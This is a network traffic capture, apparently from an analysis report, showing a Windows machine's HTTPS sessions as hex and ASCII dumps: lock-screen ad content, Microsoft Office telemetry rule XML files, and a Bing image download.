2024-12-08 16:45:42 UTC	15569	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"ima
2024-12-08 16:45:42 UTC	7868	IN	Data Raw: 5c 5c 75 30 30 32 36 64 65 76 69 63 65 49 64 3d 36 39 36 36 35 35 35 33 32 30 39 31 32 37 33 35 5c 5c 75 30 30 32 36 61 6e 69 64 3d 44 41 31 38 43 38 38 32 35 33 35 36 42 41 43 34 45 37 42 32 33 30 36 36 46 46 46 46 46 46 46 46 5c 22 2c 5c 22 65 69 64 5c 22 3a 7b 5c 22 74 5c 22 3a 5c 22 74 78 74 5c 22 2c 5c 22 74 78 5c 22 3a 5c 22 55 32 56 68 63 6d 4e 6f 51 57 51 6a 4f 44 51 34 4d 44 41 7a 4f 54 55 30 4e 54 41 33 4d 7a 45 6a 4d 6a 4d 7a 4e 6a 55 35 4f 54 59 30 4f 44 63 30 4d 44 51 7a 4e 67 3d 3d 5c 22 7d 2c 5c 22 5f 66 6c 69 67 68 74 5c 22 3a 5c 22 5c 22 7d 7d 22 7d 2c 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c Data Ascii: \\u0026deviceId=6966555320912735\\u0026anid=DA18C8825356BAC4E7B23066FFFFFFFF\",\"eid\":{\"t\":\"txt\",\"tx\":\"U2VhcmNoQWQjODQ4MDAzOTU0NTA3MzEjMjMzNjU5OTY0ODc0MDQzNg==\"},\"_flight\":\"\"}}"},{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:43 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:43 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 9160dc9b-d01e-00ad-5f02-48e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164543Z-r1cf579d778w59f9hC1EWRze6w0000000620000000007k9k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:44 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:43 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:43 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 09205d62-a01e-0021-3a05-48814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164543Z-r1cf579d778dc6d7hC1EWR2vs800000006mg000000002h65 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:44 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:43 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:43 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 32d588ee-b01e-003e-0206-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164543Z-r1cf579d7789trgthC1EWRkkfc00000006f0000000007rra x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:44 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:43 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:43 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 337dc70d-a01e-0053-5e05-488603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164543Z-r1cf579d778bb9vvhC1EWRs95400000005bg0000000083ee x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:44 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	49823	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:44 UTC	346	OUT	GET /th?id=OADD2.10239360172384_1T8ZHTG4V2CH7K983&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-08 16:45:44 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 482575 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 5CD0C2980ACB488BBACC81F27FA4955C Ref B: EWR30EDGE0215 Ref C: 2024-12-08T16:45:44Z Date: Sun, 08 Dec 2024 16:45:43 GMT Connection: close
2024-12-08 16:45:44 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 35 3a 31 33 20 31 38 3a 34 34 3a 34 31 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:05:13 18:44:418C
2024-12-08 16:45:44 UTC	16384	IN	Data Raw: 6d a9 76 d1 8c d1 71 f2 91 ed c5 0a b5 2e dc d3 b6 52 bd 87 ca c8 36 51 b6 a5 d9 9e 69 76 d1 7b 07 29 12 ad 1b 6a 6d b4 8c b4 68 1c ac 87 6d 2a ad 4a ab 46 ca 34 0e 52 26 5c 52 2a d4 db 7f ef aa 36 50 1c a4 58 f6 a4 c6 5a a7 65 f9 69 bb 3b d1 74 3b 11 e3 da 8d a0 d4 db 68 d9 45 d0 58 83 6e 29 ca 95 2e da 4d b4 0f 95 11 6d a3 6e 2a 65 4c d1 b3 be 29 5d 07 29 16 de f4 6d a9 76 d2 aa 66 8b a0 e5 20 d9 4a ab 52 ed a3 6d 17 05 12 2c 7a 51 b6 a5 db 4b b7 34 5c 39 48 76 d2 ed a9 15 7e 6a 5d b4 73 0f 94 8b 6d 1b 6a 5d b4 aa 94 73 07 29 12 8a 5c 7b 54 bb 45 0c a2 93 63 22 d9 9a 36 54 aa 9f 2f 5a 15 28 e6 0e 52 2d 94 32 d4 cc 94 d6 42 28 e6 17 29 16 ca 2a 7d 9d f3 45 1c cc 39 4e 4d 47 6a 5c 7c b5 36 c6 34 2a fa 57 5d cf 3b 95 91 2a e2 95 52 a5 d9 8a 55 5c 52 1f 29 Data Ascii: mvq.R6Qiv{)jmhmJF4R&\R6PXZei;t;hEXn).MmneL)])mvf JRm,zQK4\9Hv~j]smj]s)\{TEc"6T/Z(R-2B()}E9NMGj\\|64W];RU\R)
2024-12-08 16:45:44 UTC	16384	IN	Data Raw: 3b ab 58 84 6d fb e8 95 92 79 24 b6 fa 64 ff 00 b1 9f 6a 9d b5 a8 21 b6 96 e6 49 db ec f1 44 46 d5 5f 9d 87 18 6c f5 ac e4 db 7a 9b 46 31 4b 63 4e 31 29 b8 f3 3c c8 d0 b6 37 ed fa e7 8a b2 d3 19 76 b9 66 59 17 8d bb be 56 ae 62 1f 10 d8 48 aa 2c 16 59 cd c2 06 96 58 d4 a2 c7 cf f0 ee ea c7 a5 5c 93 58 86 35 93 6f cb e5 f1 13 33 02 d9 6e a7 1e a3 b5 4e bd 47 ee b5 74 74 3f 30 8b 3f 78 ff 00 7b 77 14 d7 98 88 d6 32 cc 83 fb fb bf cf 15 cd 4d e2 0b 73 71 6d 19 95 55 6e 24 c3 6e 5f f5 80 77 3d be 9e a6 a1 b9 f1 1d 94 b6 bf e8 f7 2b 0d ba f2 b2 37 ca 30 0e 3a 9f 53 54 9b ec 2b 47 ab 3a 77 99 da 4f 30 ed da bc 32 ee cf eb da a2 79 24 32 32 bf fa be 3c b6 fe a6 b9 77 f1 6e 97 a7 5d 79 ed 15 cf d9 99 18 4b 3f df 56 2b df 68 e8 0d 5d 6f 12 d8 4f 34 48 96 d2 4f d1 Data Ascii: ;Xmy$dj!IDF_lzF1KcN1)<7vfYVbH,YX\X5o3nNGtt?0?x{w2MsqmUn$n_w=+70:ST+G:wO02y$22<wn]yK?V+h]oO4HO
2024-12-08 16:45:44 UTC	16384	IN	Data Raw: 5e 69 f6 8b 27 99 75 17 99 f3 79 73 33 48 9f 2b b7 20 37 f7 7e 95 90 da 65 b3 5c 35 99 be 83 ce 65 3e 5c 5b 46 ee 3a 8f f3 d2 ba 69 72 c6 36 47 15 68 ce 52 bb 67 1b 26 f1 23 11 f3 1d c7 fd 6b 6e 1f d7 a0 ed e9 44 d7 11 c5 1b 34 70 33 47 e6 7c db 7e 56 6f 4c 7f 8d 6c 5c f8 7a 29 b5 29 c4 77 31 b1 b6 65 f3 e2 58 ca b4 7b ba 0c 8e 84 d5 67 d1 d2 2d 42 4b 4f 97 74 4c 43 2f de 6c 8e 78 c1 ec 2b 67 63 9f 96 44 36 f7 72 41 1c 72 a7 da d6 29 72 5a 39 3e 65 cf 7f 7d de 86 ab dc 6a 66 76 54 1b a3 56 5f bb 1a 85 f3 38 e0 55 8d 4b 4e 8a 4b 78 e4 fb 64 6c 56 43 1c 9b 5b e6 5f 4a a6 9a 12 43 37 9a 62 dc 19 88 8d bf 8b 20 ff 00 7b 3d 6b 0e 55 ab 35 72 9e c4 96 d7 6e 97 1e 62 2b 37 98 a0 6c 5f f9 66 31 8e 3d fe b5 7b 42 96 e5 ae bc ab 99 6e 6d a3 8f ef 49 b8 7c c0 72 7a Data Ascii: ^i'uys3H+ 7~e\5e>\[F:ir6GhRg&#knD4p3G\|~VoLl\z))w1eX{g-BKOtLC/lx+gcD6rAr)rZ9>e}jfvTV_8UKNKxdlVC[_JC7b {=kU5rnb+7l_f1={BnmI\|rz
2024-12-08 16:45:44 UTC	16384	IN	Data Raw: da dd 7e f7 de f7 a9 36 11 0e 03 7c df ec ae da 55 8d d9 94 3f 98 a2 3f e2 fb db b8 e9 40 ae 55 66 77 99 51 19 7c b5 c7 cd b7 bf a0 a9 d6 39 cc 8c 5f e6 2a d9 dc df 2e d1 52 ac 11 9d d8 7d c3 fd df 9b f0 a9 71 18 55 ca ed da bf 75 68 13 65 7f 24 bc 8a c1 79 5f e2 65 ee 7b d4 91 c0 eb 33 49 e6 ab 33 7d df 96 9a cf 1c 73 2a 3b 34 6b fc 3b 7f 88 d4 cc a1 d7 e7 6d cb fc 5b 7e 56 a3 40 23 92 3b 81 d6 7f bb cb 33 52 c6 46 d5 f2 fe 6e bf fe ba 73 08 0f f0 ee 1f dd fe ed 2a a2 23 64 ee ca ff 00 9e 94 01 14 8a 3e 53 2c fe 9f 2e ed ab 42 ab 96 6f 9b f8 be eb 2f f2 a9 a4 b7 49 24 91 bf 85 54 1f f1 a4 92 28 21 8d 52 39 5a 38 ba 2a ff 00 77 da 80 1b e5 c6 df 27 e1 f3 53 61 8e 34 6f 30 2e d2 dc 55 a8 79 85 8a ee 63 f8 7f fa e9 19 11 63 62 f1 33 32 ff 00 c0 5a 80 22 91 Data Ascii: ~6\|U??@UfwQ\|9_.R}qUuhe$y_e{3I3}s;4k;m[~V@#;3RFns#d>S,.Bo/I$T(!R9Z8w'Sa4o0.Uyccb32Z"
2024-12-08 16:45:44 UTC	16384	IN	Data Raw: a0 95 82 ff 00 16 da ae d6 36 31 5e 47 e6 59 b6 dd b9 f3 57 3f d2 8e 64 2e 46 66 7f a4 99 96 47 b9 e5 7f bb fc 35 6e d2 fe f2 18 f7 79 ed 29 dd 5b 71 e9 f1 ed ca 41 b8 7f ba 69 9e 48 0d cd 8b 2a ee c6 ed b5 2e 48 b5 06 66 7f 6b dc 16 6c 41 e6 33 36 7e 6c 35 39 f5 3b c1 0f cf 04 0d 23 36 77 32 ff 00 4a b3 73 37 d9 f7 24 16 db 99 7e ea fb d6 66 fb fb 8b 89 25 68 36 fc d8 db b7 fa 53 8d ba 93 29 3b e8 17 9a de b0 61 f2 a2 78 e3 0b cf ca b5 91 79 7f ac c8 dc df 4f ff 00 01 6c 56 9c c2 e4 36 5e 3f f7 57 6e da 48 6d ee 27 66 4f 2f 6e df f8 0d 17 4b a0 bd e6 65 c3 7f e2 05 e0 6a 73 b0 c6 36 c9 f3 70 7e b4 b1 be a3 33 2c 2e de 60 ff 00 a6 9f 35 69 8d 3e f7 ed 8a 82 26 ee 76 d6 d6 8b 61 3b 2b 17 89 57 fd ea 5e d2 28 71 a7 26 72 93 59 dc 79 78 57 ff 00 be 6a 0f ec Data Ascii: 61^GYW?d.FfG5ny)[qAiH*.HfklA36~l59;#6w2Js7$~f%h6S);axyOlV6^?WnHm'fO/nKejs6p~3,.`5i>&va;+W^(q&rYyxWj
2024-12-08 16:45:44 UTC	16384	IN	Data Raw: b1 ea 2a 8b 5b c7 3e d8 0d cb 34 be 41 2b 1c 79 d8 a7 b1 2d c6 ef eb 51 7b c8 b6 ad 11 92 7d 93 4f 5f b4 98 99 fc d5 cf ef 31 b6 39 3b 63 3d cf af ad 54 86 d2 0b db 89 26 95 7e 68 f9 91 a4 63 f5 ed 8c 91 52 6a 93 8b 8b e5 b3 93 cc 61 1e 3f 87 e5 6c f0 57 fd a0 7f f1 da d1 b1 b7 b6 48 d6 5b c8 37 5b da c9 9f dd e5 95 8f 41 80 39 e2 b4 94 ac 67 18 dc d0 d2 e1 48 e3 87 cb 89 56 29 30 17 6e 15 a3 f4 ce 7a ff 00 3a b1 aa 39 b4 f2 c0 5e 36 e1 5a 5f 95 bf c7 75 46 8d 25 ad 9a ed 65 7f b4 cf 9f 9a 3d ca a8 79 ed fe cf e3 5c ee ad aa bc fa d7 c8 cd f6 78 17 0a aa db 91 8f f7 80 f5 15 9a 4e 4c d5 b5 14 59 61 9b 8c ed 8d 46 e6 f3 57 df b0 1d b9 a8 e1 9d 27 56 b6 b9 89 5b cb 88 19 65 92 3d a8 d9 ec 00 e4 f1 59 49 77 e4 5c 33 c1 e6 4b 1b a9 dc bf c2 b9 e9 f9 54 d6 b1 Data Ascii: *[>4A+y-Q{}O_19;c=T&~hcRja?lWH[7[A9gHV)0nz:9^6Z_uF%e=y\xNLYaFW'V[e=YIw\3KT
2024-12-08 16:45:45 UTC	16067	IN	Data Raw: 6f 99 79 cf 5e d9 ef 54 35 87 48 a4 92 34 dd 2d d5 f4 86 49 26 dc 59 55 07 53 c7 f0 85 ad db 6b 59 e1 fd e4 9f bb 8e 38 c9 66 fb bb bd 06 7f ba 2b 9c d1 6d 6f ee a4 6d 42 e2 28 da 36 63 e4 47 e6 ff 00 07 5d a7 d3 26 8b d9 05 ae c9 6c 74 f8 56 19 24 8e 28 a3 31 e3 6e d5 dc ab f9 f3 5a 0b 6f 19 8d 5b ca e7 77 dd ff 00 eb 55 d1 0f 95 6e bf ba 55 75 5c c8 ab f7 73 e9 f8 52 60 ab 79 85 59 a3 76 01 7e 5f f5 7e b9 f4 1f 5a 89 49 97 18 a3 1a f2 d9 1e 46 40 ac a5 71 fe cf eb e9 49 0c 07 cb 5c c4 bf 2b 7c ab cf f3 ad 4b 90 57 8f f5 92 26 4f 97 1c 7b 99 aa 08 49 f3 1b cd f9 7e 6f 97 e5 db bb 8c ed f7 c7 ad 45 d9 5c a8 a6 b6 68 17 1f 33 1e 7e 66 6a ac f6 a4 b3 7e e3 77 fb cd fa 56 dc d2 46 ab 9d ad 86 53 f2 b2 f7 1d aa 15 6d f1 b2 6d 56 2b 82 df ed 71 fc 34 b9 98 59 Data Ascii: oy^T5H4-I&YUSkY8f+momB(6cG]&ltV$(1nZo[wUnUu\sR`yYv~_~ZIF@qI\+\|KW&O{I~oE\h3~fj~wVFSmmV+q4Y
2024-12-08 16:45:45 UTC	16384	IN	Data Raw: 2e e3 ba 3d bf cb de 9f b4 6f 74 47 22 5d 48 34 dd 42 2b 98 d9 cc 5b a4 5c 7c ac dd e9 d7 46 ea 49 19 b7 7e ed 7f 8b 9d ad 9f 4c 75 c5 64 dc ac a2 e1 9e da 26 51 fc 3b 97 fa 56 b6 89 71 2b fe ea e2 05 52 bf 75 97 e6 a7 65 15 70 e6 6f 42 c5 9d eb 79 3e 5b ee 88 71 b7 cb 8c 32 b7 d6 a5 79 f3 6a dc ed 0a d9 65 6c 75 ad 3b 5b 58 a4 da 06 d5 3f c5 f2 9e dd bd ea e2 e9 b6 b2 46 a0 ca ac 38 3b 95 47 f9 fc 6b 39 49 5c d1 45 9c 95 d4 ef 1a f9 f2 b3 40 77 7c be 62 8d cd f8 56 86 8f 75 76 f3 6f 96 29 22 8f 76 36 af f0 a1 f5 ab 3a 94 51 34 8d 1c 52 73 12 ee da d8 fd 33 59 89 7f 6f 14 cb 1c b3 b4 81 ff 00 bb f3 73 4f 56 b6 25 e8 cd 7b f8 61 92 65 70 db 95 71 fe d3 73 54 a4 b2 4f 2d 77 dc f9 8a cd 95 f9 76 ed fa 55 9b 51 69 32 b0 17 4d b5 be 6d bf de f7 ab d6 d0 58 48 Data Ascii: .=otG"]H4B+[\\|FI~Lud&Q;Vq+RuepoBy>[q2yjelu;[X?F8;Gk9I\E@w\|bVuvo)"v6:Q4Rs3YosOV%{aepqsTO-wvUQi2MmXH
2024-12-08 16:45:45 UTC	16384	IN	Data Raw: c1 01 5f dd c7 14 6a 36 b1 f5 46 39 ed c7 d6 b0 6f 75 a3 77 0a ef 66 f2 e7 8f 2d f3 7e f1 47 65 63 d8 67 34 b5 65 7b a8 bc da 0d bc 97 5b e4 be 8e 08 a2 8f f7 91 ee dc d9 5e c4 8e 30 7f 9d 24 70 e8 36 96 ed 07 95 72 de 5c 85 1b 6a 9d b9 3f 31 3c f5 ac 25 92 61 6e b6 b3 f9 76 ca cd e4 ac 5b b6 b3 3f 55 20 fb 54 7a 95 ed fc 5a 7f ef e5 6d db b2 de 64 a3 e6 c1 e0 fa 8f a5 0d 5f a9 2a cb 64 68 5c eb 16 f6 9b 63 8a c6 38 ee 19 8e d6 56 f9 97 3c 7d da a3 ff 00 09 3a 43 a9 46 b7 31 ac 52 ee 6f 9a 35 fb c0 0f bd fe cf e3 58 57 37 72 fc c9 b7 cd 65 6d f1 ff 00 b5 9c 76 eb 8a b6 d7 7e 5c 92 ce 57 cc 8f cb 1f bb 91 7e 66 cf 39 a3 d9 c4 14 e4 58 6d 6e 4b bd 62 39 d3 72 19 3e 79 16 46 3b 24 1d 39 1f c3 fd 6a b3 4f 77 3e d7 bc 6e 27 69 07 99 f7 76 81 dc 0e 98 f6 aa 31 Data Ascii: _j6F9ouwf-~Gecg4e{[^0$p6r\j?1<%anv[?U TzZmd_*dh\c8V<}:CF1Ro5XW7remv~\W~f9XmnKb9r>yF;$9jOw>n'iv1

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
